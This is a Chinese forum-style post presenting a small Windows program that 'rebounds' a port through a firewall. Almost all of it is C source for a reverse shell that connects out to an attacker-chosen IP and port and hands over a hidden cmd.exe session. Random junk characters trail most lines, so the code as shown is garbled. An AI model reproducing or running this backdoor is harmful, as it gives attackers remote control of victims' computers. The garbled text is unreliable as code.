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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]!CMo+  
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/* ============================== 3-x ;_  
Rebound port in Windows NT *\Z9=8yK  
By wind,2006/7 s^f7w  
===============================*/ K#Ia19au5  
#include >T84NFdz+  
#include Buc{dcL/  
NULew]:5  
#pragma comment(lib,"wsock32.lib") U'~M(9uv:  
J5dwd,FQ  
void OutputShell(); >TI/W~M  
SOCKET sClient; r@")MOGc  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (;\" K?  
8Of.n7{  
void main(int argc,char **argv) vH1IVF"DS  
{ ^UU@7cSi|G  
WSADATA stWsaData; B xAyjA6  
int nRet; {A^3<=|  
SOCKADDR_IN stSaiClient,stSaiServer; wwh1aV *  
Kk.a9uKI}  
if(argc != 3) <pA%|]  
{ xB5qX7*.  
printf("Useage:\n\rRebound DestIP DestPort\n"); p>#sR4d>  
return; Q1kZ+b&  
} F8xz^UQO  
^mH:8_=(.  
WSAStartup(MAKEWORD(2,2),&stWsaData); HSwC4y}  
2 |`7_*\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -gn!8G1  
-S\gDB bb  
stSaiClient.sin_family = AF_INET; |L9p.q  
stSaiClient.sin_port = htons(0); v 9k\[E?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _2Zc?*4  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p : {,~ 1  
{ aH/8&.JLi  
printf("Bind Socket Failed!\n"); ;Mw<{X-  
return; Ms<v81z5T  
} 79&=MTM  
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stSaiServer.sin_family = AF_INET; ._%8H  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Jb/VITqN4  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @LSfP  
;t~Y>,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "2 \},o9  
{ w{8O$4 w  
printf("Connect Error!"); g)dKXsy(F  
return; rX(Ol,&oP  
} 2CMWJi  
OutputShell(); c1tM(]&  
} (N"9C+S}  
953GmNZ7  
void OutputShell() vzX%x ul  
{ &s#OiF8  
char szBuff[1024]; |@W|nbAfX  
SECURITY_ATTRIBUTES stSecurityAttributes; SA{noM  
OSVERSIONINFO stOsversionInfo; :|\[a0ZL  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QXI#gA  =  
STARTUPINFO stStartupInfo; q}P UwN6  
char *szShell; _xsHU`(J#  
PROCESS_INFORMATION stProcessInformation; OYyF*F&S[  
unsigned long lBytesRead; C5,\DdCX,  
HXm&`  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3>>Ca;>$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n\GN}?4  
stSecurityAttributes.lpSecurityDescriptor = 0; x)R1aq  
stSecurityAttributes.bInheritHandle = TRUE; y(<+=  
b.q/? Yx  
{K N7Y"AI  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &>n:7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ffW-R)U|3  
-!lSk?l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g es-nG-  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lb{X6_.  
stStartupInfo.wShowWindow = SW_HIDE; !c"EgP+  
stStartupInfo.hStdInput = hReadPipe; uS<og P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qWU59:d^{  
y@h v#;  
GetVersionEx(&stOsversionInfo); Xv+!) j<  
QVF561Yz  
switch(stOsversionInfo.dwPlatformId) yi8AzUW cW  
{ A(9$!%#+L  
case 1: /&H l62Ak  
szShell = "command.com"; Py`7)S  
break; |Ed?s  
default: ux8K$$$  
szShell = "cmd.exe"; o)wOXF  
break; 1@t8i?:h  
} |J"\~%8  
*5u3d`bW  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /hur6yI8  
hbe";(  
send(sClient,szMsg,77,0); _WGWU7h  
while(1) T |&u?  
{ PYwGGB-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :IO"' b  
if(lBytesRead) lDL(,ZZS`  
{ ~\*wt(o  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ' %&-`/x  
send(sClient,szBuff,lBytesRead,0); n5 <B*  
} ]k$:sX  
else qgs:9V xF  
{ $azK M,<q  
lBytesRead=recv(sClient,szBuff,1024,0); EK Ac>g  
if(lBytesRead<=0) break; \'r;1W  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %+((F +[  
} 3, 3n  
} 0h kZ  
DoNN;^H  
return; "yK)9F[9Mo  
}
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